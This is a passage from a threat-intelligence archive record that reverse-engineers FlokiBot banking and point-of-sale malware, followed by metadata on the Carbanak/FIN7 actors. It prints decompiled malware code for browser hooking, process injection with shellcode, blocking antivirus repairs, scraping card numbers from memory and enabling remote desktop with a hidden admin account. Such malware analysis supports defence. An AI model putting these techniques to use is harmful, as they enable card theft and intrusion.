6D740323\r\nPR_Read_wrap hook_PR_Read_wrap 948B9CAB (nss3) 5C9DC287\r\nPR_Write_wrap hook_PR_Write_wrap 948B9CAB (nss3) 031EF8B8\r\nMost of them are standard hooks installed by ZeuS and most banking malwares. Though, we can notice some\r\ninteresting new hooks on NtFreeVirtualMemory and NtProtectVirtualMemory . We will see their uses in the\r\nnext parts.\r\nMan-in-the-Browser\r\nFloki implements Man-in-the-Browser attacks by injecting itself into Firefox and Chrome process and intercepting\r\nLdrLoadDll . If the hash of the DLL that is being loaded by the browser matches with either hash of nss3.dll ,\r\nnspr4.dll or chrome.dll , API hooks are installed accordingly allowing the malware to perform Form\r\ngrabbing and Webinjects.\r\nint __stdcall hook_LdrLoadDll_wrap(int PathToFile, int Flags, int ModuleFileName, int *ModuleHandle)\r\n{\r\n int result; // eax@2\r\n int filename_len; // eax@8\r\n int dll_hash; // eax@8\r\n[...]\r\n if ( cstm_WaitForSingleObject() ) {\r\n v5 = LdrGetDllHandle_wrap(PathToFile, 0, ModuleFileName, ModuleHandle);\r\n v6 = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);\r\n v12 = v6;\r\n if ( v5 \u003c 0 \u0026\u0026 v6 \u003e= 0 \u0026\u0026 ModuleHandle \u0026\u0026 *ModuleHandle \u0026\u0026 ModuleFileName )\r\n {\r\n RtlEnterCriticalSection_wrap(\u0026unk_41D9F4);\r\n filename_len = cstm_strlen(*(_WORD **)(ModuleFileName + 4));\r\n dll_hash = hash_filename(filename_len, v8);\r\n if ( !(dword_41DA0C \u0026 1) ) {\r\n if ( dll_hash == 0x2C2B3C88 || dll_hash == 0x948B9CAB ) { // hash nss3.dll \u0026 nspr4.dll\r\n sub_416DBD(*ModuleHandle, dll_hash);\r\n if ( dword_41DC2C )\r\n v11 = setNspr4Hooks(v10, dword_41DC2C);\r\n }\r\n else if ( dll_hash == 0xCAAD3C25 ) { // hash chrome.dll\r\n if ( byte_41B2CC ) {\r\n if ( setChromeHooks() )\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 24 of 32\n\ndword_41DA0C |= 2u;\r\n }\r\n[...]\r\n }\r\n else\r\n {\r\n result = LdrLoadDll_wrap(PathToFile, Flags, ModuleFileName, ModuleHandle);\r\n }\r\n return result;\r\n}\r\nMan-in-the-Browser in Internet Explorer is trivially done by Wininet API Hooking (see functions above). Chrome\r\nWebinjects are not implemented yet.\r\nProcess injection\r\nThe malware hooks NtResumeThread API to inject its shellcode and its payload in other child process.\r\nint __userpurge hook_NtResumeThread_wrap@\u003ceax\u003e(int a1@\u003cebx\u003e, int a2, int a3)\r\n{\r\n int result; // eax@2\r\n [...]\r\n if ( cstm_WaitForSingleObject() ) {\r\n cstm_memset(\u0026v18, 0, 0x1Cu);\r\n v20 = v4;\r\n if ( NtQueryInformationThread_wrap(a2, 0, \u0026v18, v4, \u0026v20, a1) \u003e= 0 ) {\r\n v5 = v19;\r\n if ( v19 ) {\r\n v23 = mutex(v19);\r\n if ( v23 ) {\r\n v6 = OpenProcess_wrap(1144, 0, v5);\r\n if ( v6 ) {\r\n v22 = 0;\r\n v7 = dupl_handle(v6, v23, 0, \u0026v22);\r\n v21 = v7;\r\n if ( v7 ) {\r\n if ( (v8 = (char *)sub_409741 + v7 - dword_41DFE8,\r\n v24 = (int (__thiscall *)(void *, int))((char *)sub_409741 + v7 - dword_41DFE8),\r\n v15 = 65539,\r\n !GetThreadContext_wrap(a2, \u0026v15))\r\n || v17 != RtlUserThreadStart_wrap \u0026\u0026 RtlUserThreadStart_wrap\r\n || (v16 = v8,\r\n v15 = 0x10002,\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 25 of 32\n\nv25 = 0x51EC8B55, // Shellcode\r\n v26 = 0xFC45C7,\r\n v27 = 0x68000000,\r\n v28 = 0,\r\n v29 = 0xC7FC55FF,\r\n v30 = 0xFC45,\r\n v31 = 0x680000,\r\n v32 = 0xFF000000,\r\n v33 = 0xC483FC55,\r\n v34 = 4,\r\n v35 = 0xC35DE58B,\r\n cstm_memcpy((char *)\u0026v26 + 3, \u0026Sleep_wrap, 4u),\r\n cstm_memcpy((char *)\u0026v30 + 2, \u0026v24, v9),\r\n cstm_memcpy((char *)\u0026v31 + 3, \u0026v22, v10),\r\n v24 = (int (__thiscall *)(void *, int))100,\r\n cstm_memcpy(\u0026v28, \u0026v24, v11),\r\n (v14 = VirtualAllocEx_wrap(v13, v12, v6, 0, 41, 0x3000, 64)) == 0)\r\n || (WriteProcessMemory_wrap(v6, v14, \u0026v25, 41, 0), v16 = (char *)v14, !SetThreadContext_wrap(a2,\r\n {\r\n VirtualFreeEx_wrap(v6, v21, 0, 0x8000);\r\n }\r\n }\r\n NtClose_wrap(v6);\r\n }\r\n NtClose_wrap(v23);\r\n }\r\n }\r\n }\r\n result = NtResumeThread_wrap(a2);\r\n }\r\n else\r\n {\r\n result = NtResumeThread_wrap(a2);\r\n }\r\n return result;\r\n}\r\nCertificate stealing\r\nFlokiBot is able to steal digital certificates by hooking PFXImportCertStore , using the same code as ZeuS and\r\nCarberp.\r\nProtecting hooks\r\nFloki protects its hooks by putting a hook and filtering calls on NtProtectVirtualMemory to prevent tools like AV\r\nfrom restoring the original functions. Whenever a program tries to change memory protections of a process Floki\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 26 of 32\n\nis injected into, the malware will block the call and returns a STATUS_ACCESS_DENIED .\r\nunsigned int __stdcall hook_NtProtectVirtualMemory_wrap(void *ProcessHandle, int *BaseAddress, int NumberOfByte\r\n{\r\n int retBaseAddress; // [sp+18h] [bp+Ch]@7\r\n[...]\r\n v11 = 0;\r\n v5 = BaseAddress;\r\n if ( cstm_WaitForSingleObject() \u0026\u0026 BaseAddress \u0026\u0026 ProcessHandle == GetCurrentProcess() )\r\n {\r\n if ( check_base_addr(*BaseAddress) )\r\n return 0xC0000022; // STATUS_ACCESS_DENIED\r\n RtlEnterCriticalSection_wrap(\u0026unk_41E6E8);\r\n v11 = 1;\r\n }\r\n retBaseAddress = NtProtectVirtualMemory_wrap(\r\n ProcessHandle,\r\n BaseAddress,\r\n NumberOfBytesToProtect,\r\n NewAccessProtection,\r\n OldAccessProtection);\r\n[...]\r\nLABEL_18:\r\n if ( v11 )\r\n RtlLeaveCriticalSection_wrap(\u0026unk_41E6E8);\r\n return retBaseAddress;\r\n}\r\nPoS malware feature : RAM Scraping\r\nIn my previous article, I reversed a very basic PoS malware called TreasureHunter that uses RAM scraping as its\r\nmain way to steal PAN.\r\nLike most PoS malwares, FlokiBot searches for track2 PAN by reading process memory regularly. Obviously, this\r\nisn't very efficient since you can't constantly monitor the memory, you will miss on a lot of potential PAN in\r\nbetween scans. To overcome this issue, after Floki injected itself into a process, it will also puts a hook on\r\nNtFreeVirtualMemory so that it looks for track2 PAN whenever the process wants to free a chunk of memory and\r\nbefore it is actually freed. This way, it is far likely to miss PAN.\r\nint __stdcall hook_NtFreeVirtualMemory_wrap(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG\r\n{\r\n PVOID v4; // ebx@1\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 27 of 32\n\nint v5; // edi@3\r\n RtlEnterCriticalSection_wrap(\u0026unk_41E6E8);\r\n v4 = 0;\r\n if ( BaseAddress )\r\n v4 = *BaseAddress;\r\n v5 = NtFreeVirtualMemory_wrap(ProcessHandle, BaseAddress, RegionSize, FreeType);\r\n if ( v5 \u003e= 0 \u0026\u0026 !dword_41E6A8 \u0026\u0026 ProcessHandle == (HANDLE)-1 \u0026\u0026 cstm_WaitForSingleObject() )\r\n trigger_ram_scraping((int)v4);\r\n RtlLeaveCriticalSection_wrap(\u0026unk_41E6E8);\r\n return v5;\r\n}\r\nWhen it finds track2 data, Floki will try to identify issuers by looking at the beginning of the PAN. A full list of\r\nIssuer Identification Number can be found on this very informative page :\r\nhttp://www.stevemorse.org/ssn/List_of_Bank_Identification_Numbers.html. Floki doesn't look at the whole IIN (6\r\ndigits) but only checks the first digit and see if it matches with those issuers :\r\n3 : Amex / Dinners / JP\r\n4 : VISA\r\n5 : Mastercard\r\n6 : Discover\r\nFlokiBot identify_mii routine :\r\nThen, it checks if the PAN is valid according to the Luhn algorithm :\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 28 of 32\n\nchar __usercall check_mii_luhn@\u003cal\u003e(void *a1@\u003cecx\u003e, _BYTE *a2@\u003cesi\u003e)\r\n{\r\n char result; // al@1\r\n [...]\r\n result = identify_mii(*a2, a1);\r\n if ( result )\r\n {\r\n v7 = 0; v3 = 1; v8 = 2;\r\n v9 = 4; v10 = 6; v11 = 8;\r\n v12 = 1; v13 = 3; v14 = 5;\r\n v15 = 7; v16 = 9; v4 = 0; v5 = 16;\r\n do // Luhn Algorithm\r\n {\r\n v6 = a2[--v5] - '0';\r\n if ( !v3 )\r\n v6 = *(\u0026v7 + v6);\r\n v4 += v6;\r\n v3 = v3 == 0;\r\n }\r\n while ( v5 );\r\n result = v4 % 10 == 0;\r\n }\r\n return result;\r\n}\r\nCommunications\r\nCommunications are encrypted with a mix of RC4 and XOR. Our string deobfuscation script helps identify the\r\nfollowind explicitly-named commands :\r\nuser_flashplayer_remove\r\nuser_flashplayer_get\r\nuser_homepage_set\r\nuser_url_unblock\r\nuser_url_block\r\nuser_certs_remove\r\nuser_certs_get\r\nuser_cookies_remove\r\nuser_cookies_get\r\nuser_execute\r\nuser_logoff\r\nuser_destroy\r\nfs_search_remove\r\nfs_search_add\r\nfs_path_get\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 29 of 32\n\nbot_ddos_stop\r\nbot_ddos_start\r\nbot_httpinject_enable\r\nbot_httpinject_disable\r\nbot_bc_remove\r\nbot_bc_add\r\nbot_update_exe\r\nbot_update\r\nbot_uninstall\r\nos_reboot\r\nos_shutdown\r\nFlokiBot doesn't support TOR yet, but you can find some traces of this feature in the code.\r\nRDP Activation\r\nThe payload tries to activate the remote desktop feature of Windows manually through the registry, and executes a\r\nconsole command to add a hidden administrator account test_account:test_password .\r\nPseudocode of the enable_remote_desktop function :\r\nvoid enable_remote_desktop()\r\n{\r\n signed int v0; // eax@3\r\n int v1; // [sp+0h] [bp-Ch]@2\r\n int v2; // [sp+4h] [bp-8h]@2\r\n int v3; // [sp+8h] [bp-4h]@2\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 30 of 32\n\nif ( byte_41E43C ) {\r\n v2 = 0;\r\n v1 = 4;\r\n v3 = 0x80000002;\r\n if ( RegOpenKeyExW_wrap(0x80000002, L\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\", 0, 1, \u0026v3) )\r\n v0 = -1;\r\n else\r\n v0 = cstm_RegQueryValueExW(\u0026v3, (int)L\"fDenyTSConnections\", (int)\u0026v1, (int)\u0026v2, 4);\r\n if ( v0 != -1 ) {\r\n if ( v2 ) {\r\n v3 = 0; // 0 = Enables remote desktop connections\r\n cstm_RegSetValueExW(\r\n 0x80000002,\r\n (int)L\"SYSTEM\\\\CurrentControlSet\\\\Control\\\\Terminal Server\",\r\n (int)L\"fDenyTSConnections\",\r\n 4,\r\n (int)\u0026v3,\r\n 4);\r\n }\r\n }\r\n }\r\n}\r\nCybercriminals have been using remote desktops more and more since ATS became way too complex to code and\r\ntoo hard to deploy. This way, they get a full access to an infected computer to learn about the target and its habits\r\nand perform fraudulent tasks such as money transfer manually.\r\nFinal note \u0026 hashes\r\nFlokiBot is yet another malware kit based on ZeuS, with some pieces of code directly taken from the Carberp\r\nleak. Nevertheless, its dropper, its unhooking routine and its PoS malware feature make it an interesting malware\r\nto analyse. Also, its obfuscation techniques are simple enough to be reversed statically with some IDA scripts\r\nwithout making use of AppCall.\r\n@v0id_hunter uploaded the following SHA256 for some recent FlokiBot samples :\r\n23E8B7D0F9C7391825677C3F13FD2642885F6134636E475A3924BA5BDD1D4852\r\n997841515222dbfa65d1aea79e9e6a89a0142819eaeec3467c31fa169e57076a\r\nf778ca5942d3b762367be1fd85cf7add557d26794fad187c4511b3318aff5cfd\r\n7d97008b00756905195e9fc008bee7c1b398a940e00b0bd4c56920c875f28bfe\r\ndc21527bd925a7dc95b84167c162747069feb2f4e2c1645661a27e63dff8c326\r\n7e4b2edf01e577599d3a2022866512d7dd9d2da7846b8d3eb8cea7507fb6c92a\r\nfc391f843b265e60de2f44f108b34e64c358f8362507a8c6e2e4c8c689fcdf67\r\n943daa88fe4b5930cc627f14bf422def6bab6d738a4cafd3196f71f1b7c72539\r\nbbe8394eb3b752741df0b30e1d1487eeda7e94e0223055771311939d27d52f78\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 31 of 32\n\n6c479da2e2cc296c18f21ddecc787562f600088bd37cc2154c467b0af2621937\r\n01aab8341e1ef1a8305cf458db714a0392016432c192332e1cd9f7479507027f\r\n06dcf3dc4eab45c7bd5794aafe4d3f72bb75bcfb36bdbf2ba010a5d108b096dc\r\ndaf7d349b1b12d9cf2014384a70d5826ca3be6d05df13f7cb1af5b5f5db68d54\r\n24f56ba4d779b913fefed80127e9243303307728ebec85bdb5a61adc50df9eb6\r\na65e79bdf971631d2097b18e43af9c25f007ae9c5baaa9bda1c470af20e1347c\r\na47e6fab82ac654332f4e56efcc514cb2b45c5a126b9ffcd2c84a842fb0283a2\r\n07c25eebdbd16f176d0907e656224d6a4091eb000419823f989b387b407bfd29\r\n3c0f18157f30414bcfed7a138066bc25ef44a24c5f1e56abb0e2ab5617a91000\r\nfb836d9897f3e8b1a59ebc00f59486f4c7aec526a9e83b171fd3e8657aadd1a1\r\n966804ac9bc376bede3e1432e5800dd2188decd22c358e6f913fbaaaa5a6114d\r\n296c738805040b5b02eae3cc2b114c27b4fb73fa58bc877b12927492c038e27c\r\n61244d5f47bb442a32c99c9370b53ff9fc2ecb200494c144e8b55069bc2fa166\r\ncae95953c7c4c8219325074addc9432dee640023d18fa08341bf209a42352d7d\r\na0400125d98f63feecac6cb4c47ed2e0027bd89c111981ea702f767a6ce2ef75\r\n1f5e663882fa6c96eb6aa952b6fa45542c2151d6a9191c1d5d1deb9e814e5a50\r\n912d54589b28ee822c0442b664b2a9f05055ea445c0ec28f3352b227dc6aa2db\r\n691afe0547bd0ab6c955a8ec93febecc298e78342f78b3dd1c8242948c051de6\r\nc9bf4443135c080fb81ab79910c9cfb2d36d1027c7bf3e29ee2b194168a463a7\r\n5383e18c66271b210f93bee8cc145b823786637b2b8660bb32475dbe600be46e\r\nd96e5a74da7f9b204f3dfad6d33d2ab29f860f77f5348487f4ef5276f4262311\r\nThank you for reading.\r\nSource: http://adelmas.com/blog/flokibot.php\r\nhttp://adelmas.com/blog/flokibot.php\r\nPage 32 of 32",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"ETDA",
		"Malpedia"
	],
	"references": [
		"http://adelmas.com/blog/flokibot.php"
	],
	"report_names": [
		"flokibot.php"
	],
	"threat_actors": [
		{
			"id": "c9617bb6-45c8-495e-9759-2177e61a8e91",
			"created_at": "2022-10-25T15:50:23.405039Z",
			"updated_at": "2026-04-10T02:00:05.387643Z",
			"deleted_at": null,
			"main_name": "Carbanak",
			"aliases": [
				"Carbanak",
				"Anunak"
			],
			"source_name": "MITRE:Carbanak",
			"tools": [
				"Carbanak",
				"Mimikatz",
				"PsExec",
				"netsh"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "9de1979b-40fc-44dc-855d-193edda4f3b8",
			"created_at": "2025-08-07T02:03:24.92723Z",
			"updated_at": "2026-04-10T02:00:03.755516Z",
			"deleted_at": null,
			"main_name": "GOLD LOCUST",
			"aliases": [
				"Anunak",
				"Carbanak",
				"Carbon Spider ",
				"FIN7 ",
				"Silicon "
			],
			"source_name": "Secureworks:GOLD LOCUST",
			"tools": [
				"Carbanak"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "bb8702c5-52ac-4359-8409-998a7cc3eeaf",
			"created_at": "2023-01-06T13:46:38.405479Z",
			"updated_at": "2026-04-10T02:00:02.961112Z",
			"deleted_at": null,
			"main_name": "FIN7",
			"aliases": [
				"ATK32",
				"G0046",
				"G0008",
				"Sangria Tempest",
				"ELBRUS",
				"GOLD NIAGARA",
				"Coreid",
				"Carbanak",
				"Carbon Spider",
				"JokerStash",
				"CARBON SPIDER"
			],
			"source_name": "MISPGALAXY:FIN7",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "ed3810b7-141a-4ed0-8a01-6a972b80458d",
			"created_at": "2022-10-25T16:07:23.443259Z",
			"updated_at": "2026-04-10T02:00:04.602946Z",
			"deleted_at": null,
			"main_name": "Carbanak",
			"aliases": [
				"Anunak",
				"Carbanak",
				"Carbon Spider",
				"ELBRUS",
				"G0008",
				"Gold Waterfall",
				"Sangria Tempest"
			],
			"source_name": "ETDA:Carbanak",
			"tools": [
				"AVE_MARIA",
				"Agentemis",
				"AmmyyRAT",
				"Antak",
				"Anunak",
				"Ave Maria",
				"AveMariaRAT",
				"BABYMETAL",
				"BIRDDOG",
				"Backdoor Batel",
				"Batel",
				"Bateleur",
				"BlackMatter",
				"Boostwrite",
				"Cain \u0026 Abel",
				"Carbanak",
				"Cl0p",
				"Cobalt Strike",
				"CobaltStrike",
				"DNSMessenger",
				"DNSRat",
				"DNSbot",
				"DRIFTPIN",
				"DarkSide",
				"FOXGRABBER",
				"FlawedAmmyy",
				"HALFBAKED",
				"JS Flash",
				"KLRD",
				"MBR Eraser",
				"Mimikatz",
				"Nadrac",
				"Odinaff",
				"POWERPIPE",
				"POWERSOURCE",
				"PsExec",
				"SQLRAT",
				"Sekur",
				"Sekur RAT",
				"SocksBot",
				"SoftPerfect Network Scanner",
				"Spy.Agent.ORM",
				"TEXTMATE",
				"TeamViewer",
				"TiniMet",
				"TinyMet",
				"Toshliph",
				"VB Flash",
				"WARPRISM",
				"avemaria",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "f4f16213-7a22-4527-aecb-b964c64c2c46",
			"created_at": "2024-06-19T02:03:08.090932Z",
			"updated_at": "2026-04-10T02:00:03.6289Z",
			"deleted_at": null,
			"main_name": "GOLD NIAGARA",
			"aliases": [
				"Calcium ",
				"Carbanak",
				"Carbon Spider ",
				"FIN7 ",
				"Navigator ",
				"Sangria Tempest ",
				"TelePort Crew "
			],
			"source_name": "Secureworks:GOLD NIAGARA",
			"tools": [
				"Bateleur",
				"Carbanak",
				"Cobalt Strike",
				"DICELOADER",
				"DRIFTPIN",
				"GGLDR",
				"GRIFFON",
				"JSSLoader",
				"Meterpreter",
				"OFFTRACK",
				"PILLOWMINT",
				"POWERTRASH",
				"SUPERSOFT",
				"TAKEOUT",
				"TinyMet"
			],
			"source_id": "Secureworks",
			"reports": null
		}
	],
	"ts_created_at": 1775434423,
	"ts_updated_at": 1775791873,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/17b8339032349868b408e920faa78cf73f4792f7.pdf",
		"text": "https://archive.orkl.eu/17b8339032349868b408e920faa78cf73f4792f7.txt",
		"img": "https://archive.orkl.eu/17b8339032349868b408e920faa78cf73f4792f7.jpg"
	}
}